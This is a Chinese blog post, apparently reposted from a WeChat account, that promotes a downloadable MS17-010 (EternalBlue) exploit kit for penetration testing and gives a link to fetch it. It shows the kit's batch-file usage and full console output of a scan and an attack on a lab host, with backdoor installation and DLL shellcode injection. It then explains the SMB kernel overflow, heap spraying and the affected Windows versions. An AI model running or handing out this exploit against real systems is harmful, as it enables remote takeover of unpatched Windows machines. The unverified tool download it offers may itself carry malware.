前言
经常打HW的师傅在遇到内网渗透的时候可能会遇到老声常谈的ms17010,那么ms17010的打法也有很多例如:Metasploit、Cobalt Strike插件、fscan、landon等等等,不同的工具都各自具有优缺点,不同的渗透场景也需要比较方便的工具,这里笔者分享自己经常用的工具,可直接获取交互式shell。觉得工具比较不错的师傅可以通过文末的联系方式获取。
使用方法
check.bat IP
ms17010.bat IP +系统版本 WIN72K8R2 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
go.bat IP 位数
检测
C:UsersgoodDesktopnwms17-010>check.bat 10.10.10.41
[+] SMB Touch started
[*] TargetIp 10.10.10.41
[*] TargetPort 445
[*] RedirectedTargetIp (null)
[*] RedirectedTargetPort 0
[*] NetworkTimeout 60
[*] Protocol SMB
[*] Credentials Anonymous
[*] Connecting to target...
[+] Initiated SMB connection
[+] Target OS Version 6.1 build 7601
Windows 7 Professional 7601 Service Pack 1
[*] Trying pipes...
[-] spoolss - Not accessible (0xC0000022 - NtErrorAccessDenied)
[-] browser - Not accessible (0xC0000022 - NtErrorAccessDenied)
[-] lsarpc - Not accessible (0xC0000022 - NtErrorAccessDenied)
[-] No pipes accessible
[Not Supported]
ETERNALSYNERGY - Target OS version not supported
[Not Vulnerable]
ETERNALROMANCE - Named pipe required for exploit
[Vulnerable]
ETERNALBLUE - DANE
ETERNALCHAMPION - DANE
[*] Writing output parameters
[+] Target is vulnerable to 2 exploits
[+] Touch completed successfully
攻击
C:UsersgoodDesktopnwms17-010>ms17010.bat IP WIN72K8R2
C:UsersgoodDesktopnwms17-010>go.bat 10.10.10.41 x86
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
[+] Backdoor returned code: 10 - Success!
[+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x894EDE86
SMB Connection string is: Windows 7 Professional 7601 Service Pack 1
Target OS is: 7 x86
Target SP is: 1
[+] Backdoor installed
[+] DLL built
[.] Sending shellcode to inject DLL
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Backdoor returned code: 10 - Success!
[+] Command completed successfully
漏洞简介
EternalBlue(在微软的MS17-010中被修复)是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。
从EternalBlue这个Exploit被影子经纪人公布到互联网上后,就成为了“明星”。这个Exploit被多款恶意软件利用。包括肆虐的WannaCrypt,无文件的勒索软件UIWIX和SMB蠕虫EternalRocks。
永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的漏洞 “EternalBlue”(永恒之蓝)进行改造而成 。勒索病毒的肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。据统计,全球100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。
漏洞原理
第一个是内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,由于错误地使用的WORD强制类型转换,导致在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)的缓冲区溢出。
第二个漏洞可以触发缓冲区溢出,这是由于SMB协议定义的两个子命令SMB_COM_TRANSACTION2和SMB_COM_NT_TRANSACT的差别。如果有太多的数据要包含在一个单独的包中,就需要_SECONDARY命令。TRANSACTION2和NT_TRANSACT的关键区别在于后者调用的数据包是前者大小的2倍。如果客户端使用NT_TRANSACT子命令在TRANSACTION2子命令前发送伪造的消息,就会出现验证错误。如果协议发现接收了2个分开的子命令,就会根据最后接收的包的类型来分配类型和大小。因为最后接收的包比较小,所以第一个包会占用比分配空间更多的空间。
一旦攻击者完成初始的溢出,就可以利用SMB v1中的第3个漏洞来进行Heap Spraying(堆喷射),导致在给定地址分配一块内存。然后,攻击者就可以写入和执行shellcode来控制系统。
影响版本
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
工具获取方式
链接:https://pan.quark.cn/s/922814fcbc07
原文始发于微信公众号(不懂安全的果仁):神兵利器 | 那些年好用的MS17010工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论